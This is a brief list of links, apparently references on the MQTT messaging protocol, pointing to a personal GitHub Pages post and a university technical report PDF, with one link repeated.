https://wnsgml972.github.io/matt/magtt.html

http://protocol.knu.ac.kr/tech/CPL-TR-16-02-MQTT.pdf
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https://wnsgml972.github.io/mqtt/mqtt.html
http://protocol.knu.ac.kr/tech/CPL-TR-16-02-MQTT.pdf
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